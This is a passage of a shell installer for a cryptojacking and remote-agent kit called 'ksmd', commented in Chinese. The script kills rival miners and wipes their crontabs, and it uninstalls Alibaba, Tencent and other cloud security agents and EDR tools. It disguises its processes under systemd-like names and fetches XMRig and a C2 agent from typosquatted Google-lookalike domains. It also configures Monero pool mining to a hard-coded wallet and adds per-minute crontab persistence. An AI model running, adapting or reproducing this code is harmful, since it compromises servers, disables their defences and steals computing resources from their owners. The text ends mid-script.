#!/bin/sh
# ksmd — deploy-kit 完整安装链（由 serve_payload.sh 替换 __PLACEHOLDER__）
# 1. 清理对手 javab 残留（cron 清空其它项；若曾有心跳则只留无害 curl，无 base64|bash）
# 2. 清防火墙 / iptables DROP
# 3. 内联 javab 链（/dev/shm/javab + idle + .rguard + .khp）+ glm Agent
# 管道安装：rival .rguard 白名单含 ksmd；dash 无 exec -a，靠路径/cmdline 含 ksmd
# 必须在最前定义：下方 early-kill 块在 set -u 之前就会执行
ksmd_from_hook() {
  case "$0" in */.ksmd_*|*install/ksmd*) return 0 ;; esac
  return 1
}

ksmd_protect_install() {
  ksmd_from_hook && return 0
  _pp=$(ps -p ${PPID:-0} -o args= 2>/dev/null)
  case "$_pp" in
    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
    */.ksmd_*) return 0 ;;
  esac
  return 1
}

if [ -z "${KSMD_REEXEC:-}" ]; then
  export KSMD_REEXEC=1
  case "$0" in *ksmd*|*install/ksmd*) ;; *)
    if command -v bash >/dev/null 2>&1; then
      exec bash -c 'exec -a ksmd sh "$0" "$@"' _ "$0" "$@" 2>/dev/null || exec bash "$0" "$@"
    fi
  ;; esac
fi
_ksmd_u=$(id -un 2>/dev/null)
if [ -n "$_ksmd_u" ]; then
  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=$(echo "$_line" | awk '{print $1}')
    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    case "$_c" in *\.rguard*) kill -9 "$_p" 2>/dev/null ;; esac
  done
fi
# 路径/cmdline 已含 ksmd，rival 白名单可过：先清 /dev/shm 对手（crontab 等装完再写）
_ksmd_uid=$(id -u 2>/dev/null)
if [ -n "$_ksmd_uid" ]; then
  pkill -9 -u "$_ksmd_uid" -f 'CRON jobs' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.rguard' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/javab' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/idle' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/dev/shm/\.khp' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/tmp/\.rguard|/tmp/javab|/tmp/idle|/tmp/\.khp' 2>/dev/null || true
  pkill -9 -u "$_ksmd_uid" -f '/var/tmp/\.rguard|/var/tmp/javab|/var/tmp/idle|/var/tmp/\.khp' 2>/dev/null || true
  for _pat in unicorn 6556 '6556/ts' 'base64 -d' m51src m51sr 'find /' .claude \
    'redis/lang/ksmd' gitea_exp auto_deploy apt-update mnmonitor xmrig \
    supervise_javs start_javs '31.56.209' \
    universal-miner sysinit kworkerds; do
    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
    pkill -9 -u "$_ksmd_uid" -f "$_pat" 2>/dev/null || true
  done
  # hook 安装器 /.ksmd_* 运行时不能杀 hash-object，否则 gitea hook 的 git hash-object 会被掐断
  ksmd_protect_install || pkill -9 -u "$_ksmd_uid" -f 'hash-object -w' 2>/dev/null || true
  ps -u "$_ksmd_u" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=$(echo "$_line" | awk '{print $1}')
    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
    case "$_x" in /tmp/javab|/dev/shm/javab|/var/tmp/javab) kill -9 "$_p" 2>/dev/null ;; esac
    case "$_c" in ./*javab*|*javab\ -c\ .javab.json*) kill -9 "$_p" 2>/dev/null ;; esac
  done
fi
set -u

MARKER="deploy-kit-v1"
REMOTE_WDIR="/tmp/.pol-lite"
PAYLOAD_BASE="http://127.0.0.1:8080"
C2_WSS="wss.google-analytices.com"
AGENT_URL_AMD64="https://file.google-analytices.com/amd64710013"
AGENT_URL_386="https://file.google-analytices.com/386602048"
AGENT_URL_ARM="https://file.google-analytices.com/arm876482"
AGENT_URL_ARM64="https://file.google-analytices.com/arm64902593"
AGENT_ARGS="oieraieioraejri12"
POOL_HOST="gulf.moneroocean.stream"
POOL_PORT="10128"
XMR_WALLET="4AjneeUV2MmW8XTusJCditAFk9PQtHm1gV3ZD6RvfHzBf2yd5zZ6Zt27fNDmMhXBCN5NY1EDgKiqoVj25wLK2uwpMb1n3hu"
XMR_CPU_PERCENT="60"
DRY_RUN="${DEPLOY_KIT_DRY_RUN:-0}"
AGENT_ONLY="${AGENT_ONLY:-0}"

echo "KSMD_START marker=$MARKER self=$0 pid=$$ user=$(id -un 2>/dev/null)"

KSMD_URL="https://googletagmanagar.com/install/ksmd"
KSMD_URL_ALT="http://127.0.0.1:8080/ksmd"

# --- 矿机：xmrig 落地为 javab（仿 rival 命名）---
XMR_WORKER="$(hostname 2>/dev/null || echo worker)"
XMRIG_VER="6.26.0"
XMRIG_URL="https://googletagmanagar.com/pol/xmrig/xmrig-6.26.tar.gz"
XMRIG_SHA256="fc6f8ae5f64e4f17481f7e3be29a1c56949f216a998414188003eae1db20c9e5"
XMRIG_BIN_SHA256="b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49"
POOL="${POOL_HOST}:${POOL_PORT}"
XMR_THREADS=""
XMR_RANDOMX_MODE=""
WDIR=""

# Agent 伪装：系统风格目录 + 进程名（非 usbnotify）
AGENT_HOME="${HOME:-/tmp}/.local/share/systemd"
AGENT_BIN="${AGENT_HOME}/systemd-userdbd"
AGENT_LAUNCH="${AGENT_HOME}/user-session-launch"
AGENT_WATCHDOG="${AGENT_HOME}/.session-watchdog"
AGENT_LOG="/dev/null"

# 安装/保活期间：.core 已在跑则不再杀、不再拉起
agent_core_running() {
  _un=$(id -un 2>/dev/null) || return 1
  pgrep -f "${AGENT_HOME}/.core" >/dev/null 2>&1 && return 0
  pgrep -f "${AGENT_HOME}/systemd-userdbd" >/dev/null 2>&1 && return 0
  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
    _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
    case "$_x" in
      "${AGENT_HOME}/.core"|"${AGENT_HOME}/systemd-userdbd") return 0 ;;
    esac
    _c=$(ps -p "$_p" -o args= 2>/dev/null)
    case "$_c" in
      *"${AGENT_HOME}/.core"*|*"${AGENT_HOME}/systemd-userdbd"*) return 0 ;;
    esac
  done
  return 1
}

log() { echo "[ksmd:$MARKER] $*"; }

run() {
  if [ "$DRY_RUN" = "1" ]; then echo "[dry-run] $*"; else "$@"; fi
}

# dash 无 exec -a；有 bash 时伪装 ksmd，否则依赖脚本路径含 ksmd
ksmd_run_sh() {
  _f="$1"
  if command -v bash >/dev/null 2>&1; then
    bash -c 'exec -a ksmd sh "$1"' _ "$_f" 2>/dev/null && return 0
  fi
  sh "$_f"
}

crontab_usable() {
  _err=$(crontab -l 2>&1) || true
  case "$_err" in *must\ be\ suid*|*setuid*|*cannot\ open*) return 1 ;; esac
  return 0
}

# CDN 穿透：?id=timestamp+pid（Cloudflare 等缓存同名 URL 时仍拉最新 ksmd）
ksmd_dl_url() {
  _t=$(date +%s 2>/dev/null || echo 0)
  _p=$$
  case "$KSMD_URL" in
    *\?*) printf '%s&_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
    *) printf '%s?_=%s%s' "$KSMD_URL" "$_t" "$_p" ;;
  esac
}

# 安装窗口内反复压对手 guard（对方 .rguard 每 0.1s；我们白名单模式每 2s 清非白名单进程）
squash_rival_guard() {
  purge_tmp_gang
  kill_rival_rguard
  kill_rival_javab
  fast_rival_pkill
  _ow=$(our_wdir 2>/dev/null) || _ow=""
  for pat in javab idle .khp; do
    for d in /dev/shm /tmp /var/tmp; do
      is_our_install_root "$_ow" "$d" && continue
      run pkill -9 -f "$d/$pat" 2>/dev/null || true
    done
  done
}

# crontab 剥离用（不绑固定 C2 IP；含 astrawin 2026-08 busybox wget / 31.56.* / home/CRON）
rival_cron_re() {
  printf '%s' '6556|6556/ts|base64[[:space:]]*-[dD]|apt-update\.com|\.claude|@reboot.*(curl|wget)|busybox[[:space:]]+wget|(curl|wget).*\|.*bash|m51sr|m51src|45\.74\.|209\.38\.|31\.56\.|redis/lang/ksmd|/exp/|gitea_exp|auto_deploy|supervise_javs|start_javs|CRON[[:space:]]+jobs|/dev/shm/\.khp|/dev/shm/idle|/dev/shm/\.rguard|/dev/shm/javab|/dev/shm/\.claude|/var/tmp/\.claude|/[[:space:]]+/tmp/\.khp|/[[:space:]]+/tmp/idle|/[[:space:]]+/tmp/\.rguard|/[[:space:]]+/var/tmp/\.khp|/[[:space:]]+/var/tmp/idle|/[[:space:]]+/var/tmp/\.rguard'
}

# ── 1. 清理对手 javab 帮（参考 remove-javab-gang.sh）────────────────────
cleanup_rival_procs() {
  log "清理对手进程..."
  purge_tmp_gang
  kill_rival_rguard
  kill_rival_javab
  fast_rival_pkill
  _ow=$(our_wdir 2>/dev/null) || _ow=""
  for pat in javab idle unicorn cached javs krfcommd; do
    for d in /dev/shm /tmp /var/tmp; do
      is_our_install_root "$_ow" "$d" && continue
      run pkill -9 -f "$d/$pat" 2>/dev/null || true
    done
  done
  if [ -z "$_ow" ]; then
    run pkill -9 -f "\.khp" 2>/dev/null || true
  fi
  # 仅杀对手落地 ksmd；不杀 hook 临时文件 /.ksmd_*
  for d in /dev/shm /tmp /var/tmp; do
    case "$0" in "$d"/.ksmd_*|$d/.ksmd_*) ;; *)
      run pkill -9 -f "$d/ksmd" 2>/dev/null || true
    ;; esac
  done
  run pkill -9 -f "m51src" 2>/dev/null || true
  run pkill -9 -f "45\.74\.7\.226" 2>/dev/null || true
  ksmd_protect_install || run pkill -9 -f "209\.38\.56" 2>/dev/null || true
  ksmd_protect_install || run pkill -9 -f "redis/lang/ksmd" 2>/dev/null || true
  # gitea hook 靠 git hash-object -w 收 output；hook 安装器运行时不能杀
  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
  run pkill -9 -x unicorn 2>/dev/null || true
  run pkill -9 -f '/6556/' 2>/dev/null || true
  run pkill -9 -f 'base64 -d' 2>/dev/null || true
  run pkill -9 -f 'CRON jobs' 2>/dev/null || true
  run pkill -9 -f 'supervise_javs' 2>/dev/null || true
  run pkill -9 -f 'start_javs' 2>/dev/null || true
  run pkill -9 -f '6556/ts' 2>/dev/null || true
  run pkill -9 -f '31\.56\.209' 2>/dev/null || true
  if [ "$(id -u)" -eq 0 ]; then
    run pkill -9 -f '/bin/javab' 2>/dev/null || true
    run pkill -9 -f '/bin/\.khp' 2>/dev/null || true
    run systemctl stop javab.service 2>/dev/null || true
    run systemctl disable javab.service 2>/dev/null || true
  fi
  sleep 1
}

cleanup_rival_files() {
  log "清理对手落地文件..."
  _ow=$(our_wdir 2>/dev/null) || _ow=""
  for d in /dev/shm /tmp /var/tmp; do
    [ -d "$d" ] || continue
    is_our_install_root "$_ow" "$d" && continue
    for f in javab idle .rguard .khp .khp_ts .khp_fusion_ts ksmd unicorn .javab.json .ksmd_guard .ksmd_manifest; do
      [ -e "$d/$f" ] && run rm -f "$d/$f"
    done
    _inst=$(basename "$0" 2>/dev/null)
    find "$d" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
      [ -n "$_inst" ] && [ "$(basename "$_kf")" = "$_inst" ] && continue
      run rm -f "$_kf"
    done
    run find "$d" -maxdepth 1 -name '.log_*.gz' -delete 2>/dev/null || true
  done
  if [ "$(id -u)" -eq 0 ]; then
    for f in javab idle ksmd .khp .rguard .khp_ts watchdog.sh; do
      [ -e "/bin/$f" ] && run chattr -i "/bin/$f" 2>/dev/null || true
      [ -e "/bin/$f" ] && run rm -f "/bin/$f"
    done
    run rm -f /etc/systemd/system/javab.service 2>/dev/null || true
  fi
  home="${HOME:-/tmp}"
  for f in \
    "$home/.local/share/.cache/dbus/cached" \
    "$home/.cache/.dbus/.khp" \
    "$home/.claude" \
    "$home/CRON" \
    "$home/unicorn" \
    "$home/.javs" \
    "$home/.javs/supervise_javs.sh"; do
    [ -e "$f" ] && run rm -rf "$f"
  done
  for d in /dev/shm/.claude /var/tmp/.claude; do
    [ -e "$d" ] && run rm -rf "$d"
  done
  run find "$home" -maxdepth 1 -name '.syslog-*' -exec rm -rf {} + 2>/dev/null || true
  run rm -f "$home/.config/autostart/javs.desktop" 2>/dev/null || true
  run rm -f "$home/.config/systemd/user/javs.service" \
    "$home/.config/systemd/user/default.target.wants/javs.service" 2>/dev/null || true
}

cleanup_rival_crontab() {
  strip_rival_crontab
}

strip_rival_crontab() {
  if ! crontab_usable; then
    log "crontab 不可用（docker 常见 must be suid），跳过"
    return 0
  fi
  log "清理 crontab（剥离对手行，不固定 IP 匹配）..."
  if [ "$DRY_RUN" = "1" ]; then return 0; fi
  tmp=$(mktemp)
  crontab -l 2>/dev/null >"$tmp" || : >"$tmp"
  _rival=$(rival_cron_re)
  if ! grep -Ei "$_rival" "$tmp" >/dev/null 2>&1; then
    rm -f "$tmp"
    return 0
  fi
  grep -Evi "$_rival" "$tmp" | grep -v '^[[:space:]]*$' >"${tmp}.keep" 2>/dev/null || : >"${tmp}.keep"
  if [ -s "${tmp}.keep" ]; then
    crontab "${tmp}.keep" 2>/dev/null || crontab -r 2>/dev/null || true
  else
    crontab -r 2>/dev/null || true
  fi
  rm -f "$tmp" "${tmp}.keep"
  log "已剥离对手 crontab"
}

ensure_ksmd_crontab() {
  [ "$DRY_RUN" = "1" ] && return 0
  if ! crontab_usable; then
    return 0
  fi
  mark="# ${MARKER}-ksmd-guard"
  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
    return 0
  fi
  line="* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x \"\$d/.ksmd_guard\" ] && { sh \"\$d/.ksmd_guard\"; break; }; [ -x \"\$d/.pol-lite/.ksmd_guard\" ] && { sh \"\$d/.pol-lite/.ksmd_guard\"; break; }; done ${mark}"
  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
    log "crontab ksmd 保活已写入（marker 校验）" || \
    log "crontab ksmd 写入失败"
}

ensure_agent_crontab() {
  [ "$DRY_RUN" = "1" ] && return 0
  if ! crontab_usable; then
    return 0
  fi
  mark="# ${MARKER}-agent-guard"
  if crontab -l 2>/dev/null | grep -Fq "$mark"; then
    return 0
  fi
  line="* * * * * [ -x \"${AGENT_HOME}/.agent_guard\" ] && sh \"${AGENT_HOME}/.agent_guard\" ${mark}"
  (crontab -l 2>/dev/null | grep -Fv "$mark"; echo "$line") | crontab - 2>/dev/null && \
    log "crontab Agent 保活已修复（检测到 marker 缺失）" || \
    log "crontab Agent 修复失败"
}

# ── 2. 卸载云厂商安全软件（参考 intruder kworker / remove-yunjing.sh）────
remove_cloud_security() {
  log "卸载云厂商安全组件..."
  if [ "$(id -u)" -ne 0 ]; then
    log "非 root，跳过云安全组件卸载"
    return 0
  fi

  # 阿里云 Aegis（安骑士）
  if ps aux 2>/dev/null | grep -qiE '[a]liyun|[a]egis|AliYunDun|AliHips|AliSecGuard'; then
    log "阿里云 Aegis..."
    for url in \
      'http://update.aegis.aliyun.com/download/uninstall.sh' \
      'http://update.aegis.aliyun.com/download/quartz_uninstall.sh'; do
      if [ "$DRY_RUN" = "1" ]; then
        log "would run $url"
      else
        dl "$url" /tmp/.aegis_uninst_$$.sh 2>/dev/null && sh /tmp/.aegis_uninst_$$.sh 2>/dev/null || true
        rm -f /tmp/.aegis_uninst_$$.sh
      fi
    done
    run systemctl stop aliyun.service 2>/dev/null || true
    run systemctl disable aliyun.service 2>/dev/null || true
    run service aliyun.service stop 2>/dev/null || true
    run pkill -9 -f aliyun-service 2>/dev/null || true
    run pkill -9 -f AliYunDun 2>/dev/null || true
    run pkill -9 -f AliHips 2>/dev/null || true
    run pkill -9 -f AliNet 2>/dev/null || true
    run pkill -9 -f AliSecGuard 2>/dev/null || true
    run pkill -9 -f aegis 2>/dev/null || true
    run rm -rf /usr/local/aegis /etc/init.d/agentwatch /usr/sbin/aliyun-service 2>/dev/null || true
  fi

  # 阿里云云监控 CloudMonitor
  if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
    log "阿里云 CloudMonitor..."
    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop 2>/dev/null || true
    run /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove 2>/dev/null || true
    run rm -rf /usr/local/cloudmonitor
  elif [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 ]; then
    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 stop 2>/dev/null || true
    run /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 uninstall 2>/dev/null || true
    run rm -rf /usr/local/cloudmonitor
  fi

  # 腾讯云 YunJing / qcloud
  if ps aux 2>/dev/null | grep -qiE '[y]unjing|[q]cloud|stargate|sgagent|YDService|YDLive|barad'; then
    log "腾讯云 YunJing / qcloud..."
    for s in \
      /usr/local/qcloud/stargate/admin/uninstall.sh \
      /usr/local/qcloud/YunJing/uninst.sh \
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh; do
      [ -x "$s" ] && run sh "$s" 2>/dev/null || true
    done
    run pkill -9 -f '/usr/local/qcloud' 2>/dev/null || true
    run pkill -9 -f '/usr/local/sa' 2>/dev/null || true
    run pkill -9 -f 'YDService' 2>/dev/null || true
    run pkill -9 -f 'YDLive' 2>/dev/null || true
    run pkill -9 -f 'sgagent' 2>/dev/null || true
    run pkill -9 -f 'barad_agent' 2>/dev/null || true
    run pkill -9 -f 'stargate' 2>/dev/null || true
    run pkill -9 -f 'yunjing' 2>/dev/null || true
    for u in $(systemctl list-unit-files --no-pager --no-legend 2>/dev/null \
      | awk '{print $1}' | grep -iE 'yunjing|qcloud|stargate|sgagent|barad|ydlive|ydservice' || true); do
      run systemctl stop "$u" 2>/dev/null || true
      run systemctl disable "$u" 2>/dev/null || true
    done
    run rm -rf /usr/local/qcloud /usr/local/sa /var/log/qcloud /var/log/yunjing 2>/dev/null || true
    run rm -f /etc/cron.d/yunjing /etc/cron.d/sgagenttask /etc/cron.d/stargate 2>/dev/null || true
  fi

  # 华为 / 其他常见 HIDS（kworker 同款）
  for pat in hostguard titanagent cloudwalker hids edr httpgd bcm-agent; do
    if ps aux 2>/dev/null | grep -qi "$pat"; then
      log "清理 $pat ..."
      run pkill -9 -f "$pat" 2>/dev/null || true
    fi
  done
  run yum remove bcm-agent -y 2>/dev/null || true
  run apt-get remove -y bcm-agent 2>/dev/null || true

  # 兜底：按进程名强杀
  for pat in aegis Yun YDService sgagent barad_agent hostguard titanagent cloudwalker hids edr httpgd; do
    run pkill -9 -f "$pat" 2>/dev/null || true
  done
  run rm -rf /usr/local/aegis 2>/dev/null || true
}

# ── 3. 第三方矿机（auto_gitea_lite kill_block）──────────────────────────
kill_third_party_miners() {
  log "清理第三方矿进程..."
  for pat in xmrig universal-miner sysinit kworkerds minerd cpuminer SRBMiner javae javaa moneroocean unicorn apt-update mnmonitor; do
    run pkill -9 -f "$pat" 2>/dev/null || true
  done
  ksmd_protect_install || run pkill -9 -f 'hash-object -w' 2>/dev/null || true
  run pkill -9 -f 'find /.*\.claude' 2>/dev/null || true
  run pkill -9 -f 'find / -type d -name \.claude' 2>/dev/null || true
  run pkill -9 -x unicorn 2>/dev/null || true
  run pkill -9 -f '/6556/' 2>/dev/null || true
  run pkill -9 -f 'base64 -d' 2>/dev/null || true
  run pkill -9 -f 'm51src' 2>/dev/null || true
  run pkill -9 -f '45\.74\.7\.226' 2>/dev/null || true
  ksmd_protect_install || run pkill -9 -f '209\.38\.56' 2>/dev/null || true
  ksmd_protect_install || run pkill -9 -f 'redis/lang/ksmd' 2>/dev/null || true
  run pkill -9 -f '64.176.51.87' 2>/dev/null || true
  run pkill -f 'kmod-cache-update' 2>/dev/null || true
  run pkill -f '/tmp/xmrig' 2>/dev/null || true
  sleep 1
}

ksmd_curl() {
  if command -v curl >/dev/null 2>&1; then
    if command -v bash >/dev/null 2>&1; then
      bash -c 'exec -a ksmd curl "$@"' _ "$@" 2>/dev/null && return 0
    fi
    curl "$@" 2>/dev/null && return 0
  fi
  return 1
}

dl() {
  u="$1"; o="$2"
  ksmd_curl -fsSL -m120 "$u" -o "$o" && return 0
  wget -T120 -q "$u" -O "$o" 2>/dev/null && return 0
  return 1
}

dl_long() {
  u="$1"; o="$2"
  ksmd_curl -fsSL -m300 "$u" -o "$o" && return 0
  wget -T300 -q "$u" -O "$o" 2>/dev/null && return 0
  return 1
}

sha256_file() {
  if command -v sha256sum >/dev/null 2>&1; then
    sha256sum "$1" | awk '{print $1}'
  elif command -v shasum >/dev/null 2>&1; then
    shasum -a 256 "$1" | awk '{print $1}'
  else
    echo ""
  fi
}

md5_file() {
  if command -v md5sum >/dev/null 2>&1; then
    md5sum "$1" | awk '{print $1}'
  elif command -v md5 >/dev/null 2>&1; then
    md5 -q "$1" 2>/dev/null
  else
    echo ""
  fi
}

# ── 4. 内联矿机 + glm Agent（单文件）────────────────────────────────────
is_container() {
  [ -f /.dockerenv ] && return 0
  [ -f /run/.containerenv ] && return 0
  grep -qE '(docker|lxc|kubepods|containerd|podman|crio)' /proc/1/cgroup 2>/dev/null && return 0
  return 1
}

agent_dl_url() {
  case "$(uname -m)" in
    x86_64|amd64) echo "${AGENT_URL_AMD64}" ;;
    i686|i386) echo "${AGENT_URL_386}" ;;
    aarch64|arm64) echo "${AGENT_URL_ARM64}" ;;
    armv7l|armv6l|armv5tel|arm) echo "${AGENT_URL_ARM}" ;;
    *) return 1 ;;
  esac
}

need_x64_miner() {
  case "$(uname -m)" in
    x86_64|amd64) return 0 ;;
    *) log "xmrig 仅支持 x86_64，当前 $(uname -m)，跳过矿机"; return 1 ;;
  esac
}

detect_xmr_threads() {
  [ -n "$XMR_THREADS" ] && return 0
  n=$(nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)
  pct="${XMR_CPU_PERCENT:-60}"
  case "$pct" in ''|*[!0-9]*) pct=60 ;; esac
  [ "$pct" -gt 100 ] && pct=100
  t=$(( n * pct / 100 ))
  [ "$t" -lt 1 ] && t=1
  [ "$t" -gt "$n" ] && t="$n"
  XMR_THREADS=$t
}

detect_randomx_mode() {
  [ -n "$XMR_RANDOMX_MODE" ] && return 0
  mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null)
  if [ -n "$mb" ] && [ "$mb" -lt 2500 ] 2>/dev/null; then
    XMR_RANDOMX_MODE=light
    [ "$XMR_THREADS" -gt 2 ] 2>/dev/null && XMR_THREADS=2
  else
    XMR_RANDOMX_MODE=auto
  fi
}

setup_xmrig_binary() {
  dest="$1"
  miner_dir="$2"
  mkdir -p "$(dirname "$dest")" "$miner_dir"
  if [ -x "$dest" ]; then
    got=$(sha256_file "$dest")
    if [ "$got" = "$XMRIG_BIN_SHA256" ] || [ -z "$got" ]; then
      log "xmrig 已存在: $dest"
      return 0
    fi
  fi
  tmpdir="${miner_dir}/.dl_$$"
  mkdir -p "$tmpdir"
  tgz="${tmpdir}/xmrig.tgz"
  log "下载 XMRig ${XMRIG_VER} ..."
  dl_long "$XMRIG_URL" "$tgz" || { rm -rf "$tmpdir"; return 1; }
  got=$(sha256_file "$tgz")
  if [ -n "$got" ] && [ "$got" != "$XMRIG_SHA256" ]; then
    rm -rf "$tmpdir"
    log "xmrig tarball 校验失败"
    return 1
  fi
  tar -xzf "$tgz" -C "$tmpdir" || { rm -rf "$tmpdir"; return 1; }
  bin="${tmpdir}/xmrig-${XMRIG_VER}/xmrig"
  [ -x "$bin" ] || { rm -rf "$tmpdir"; return 1; }
  cp -f "$bin" "${dest}.new" && chmod 755 "${dest}.new"
  mv -f "${dest}.new" "$dest"
  rm -rf "$tmpdir"
  log "xmrig -> $dest"
}

pick_wdir() {
  # 已有 manifest 则留在原目录，避免重装漂移出双链
  _ow=$(our_wdir 2>/dev/null) || _ow=""
  if [ -n "$_ow" ] && [ -d "$_ow" ] && wdir_allows_exec "$_ow"; then
    WDIR="$_ow"
    return 0
  fi
  # 优先 /dev/shm 平铺；/tmp、/var/tmp 用 .pol-lite
  for d in /dev/shm /tmp /var/tmp; do
    if [ -d "$d" ] && [ -w "$d" ] && wdir_allows_exec "$d"; then
      WDIR=$(layout_wdir "$d")
      if [ "$WDIR" != "/dev/shm" ]; then
        mkdir -p "$WDIR" 2>/dev/null || continue
      fi
      wdir_allows_exec "$WDIR" || continue
      log "WDIR=$WDIR (probe ok: $d exec+write)"
      return 0
    fi
    log "skip WDIR parent $d (missing, no write, or noexec)"
  done
  return 1
}

wdir_allows_exec() {
  _d=$1
  _probe="$_d/.ksmd_exec_probe_$$"
  printf '#!/bin/sh\n' >"$_probe" 2>/dev/null || return 1
  chmod +x "$_probe" 2>/dev/null || { rm -f "$_probe"; return 1; }
  "$_probe" >/dev/null 2>&1 || { rm -f "$_probe"; return 1; }
  rm -f "$_probe"
  return 0
}

# /dev/shm 平铺（与对手同路径）；/tmp、/var/tmp 仍用 .pol-lite 子目录
layout_wdir() {
  _parent=$1
  if [ "$_parent" = "/dev/shm" ]; then
    echo "/dev/shm"
  else
    echo "$_parent/.pol-lite"
  fi
}

is_our_install_root() {
  _ow=$1
  _base=$2
  [ -n "$_ow" ] || return 1
  [ "$_ow" = "$_base" ] && return 0
  [ "$_ow" = "$_base/.pol-lite" ] && return 0
  return 1
}

# /dev/shm 平铺时与对手同路径，靠 manifest/marker 区分
is_our_script_file() {
  _f=$1
  [ -f "$_f" ] || return 1
  grep -qF "$MARKER" "$_f" 2>/dev/null && return 0
  grep -q '_MARKER=' "$_f" 2>/dev/null && return 0
  return 1
}

is_rival_rguard_file() {
  _f=$1
  [ -f "$_f" ] || return 1
  head -3 "$_f" 2>/dev/null | grep -qi 'rival guard' && return 0
  return 1
}

is_rival_idle_file() {
  _f=$1
  [ -f "$_f" ] || return 1
  head -8 "$_f" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
  head -8 "$_f" 2>/dev/null | grep -qE 'URL1=.*URL2=' && return 0
  is_our_script_file "$_f" && return 1
  head -5 "$_f" 2>/dev/null | grep -qE 'KSMD_URL|googletagmanagar|deploy-kit-v1' && return 1
  [ -n "$MARKER" ] && head -5 "$_f" 2>/dev/null | grep -qF "$MARKER" && return 1
  return 0
}

is_our_miner_dir() {
  _d=$1
  [ -d "$_d" ] || return 1
  [ -f "$_d/.ksmd_manifest" ] || return 1
  grep -qF "marker=$MARKER" "$_d/.ksmd_manifest" 2>/dev/null || return 1
  is_rival_rguard_file "$_d/.rguard" && return 1
  is_rival_idle_file "$_d/idle" && return 1
  is_our_script_file "$_d/.rguard" || return 1
  is_our_script_file "$_d/idle" || return 1
  return 0
}

# WDIR 内允许落地的文件名（/dev/shm 平铺时非名单一律删）
our_wdir_basename() {
  case "$1" in
    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
      return 0 ;;
  esac
  case "$1" in .ksmd_*) return 0 ;; esac
  return 1
}

proc_touches_wdir() {
  _p=$1
  _w=$2
  _c=$(ps -p "$_p" -o args= 2>/dev/null) || return 1
  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
  _cwd=$(readlink "/proc/$_p/cwd" 2>/dev/null)
  case "$_c" in *"$_w/"*) return 0 ;; esac
  case "$_x" in "$_w"/*) return 0 ;; esac
  [ "$_cwd" = "$_w" ] && return 0
  return 1
}

is_our_wdir_process() {
  _p=$1
  _w=$2
  proc_touches_wdir "$_p" "$_w" || return 1
  _c=$(ps -p "$_p" -o args= 2>/dev/null)
  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
  is_our_javab_pid "$_p" && return 0
  case "$_c" in
    *"$_w/.rguard"*) is_our_script_file "$_w/.rguard" && return 0 ;;
    *"$_w/idle"*) is_our_script_file "$_w/idle" && return 0 ;;
    *"$_w/.khp"*) is_our_script_file "$_w/.khp" && return 0 ;;
    *"$_w/.ksmd_guard"*) is_our_script_file "$_w/.ksmd_guard" && return 0 ;;
  esac
  case "$_x" in "$_w/javab") is_our_javab_pid "$_p" && return 0 ;; esac
  case "$_c" in sleep|*/sleep)
    _pp=$(awk '/^PPid:/{print $2}' "/proc/$_p/status" 2>/dev/null)
    [ -n "$_pp" ] && is_our_wdir_process "$_pp" "$_w" && return 0
    ;;
  esac
  return 1
}

# /dev/shm（或 WDIR）内：非我方进程/文件一律清掉
purge_wdir_foreign() {
  _w=$1
  [ -n "$_w" ] && [ -d "$_w" ] || return 0
  _un=$(id -un 2>/dev/null) || return 0
  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
    proc_touches_wdir "$_p" "$_w" || continue
    is_our_wdir_process "$_p" "$_w" && continue
    run kill -9 "$_p" 2>/dev/null || true
  done
  for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
    [ -e "$_f" ] || continue
    _b=$(basename "$_f")
    case "$_b" in .|..) continue ;; esac
    our_wdir_basename "$_b" && continue
    [ -f "$_f" ] && is_our_script_file "$_f" && continue
    wdir_unlock_file "$_f"
    rm -rf "$_f" 2>/dev/null || true
  done
}

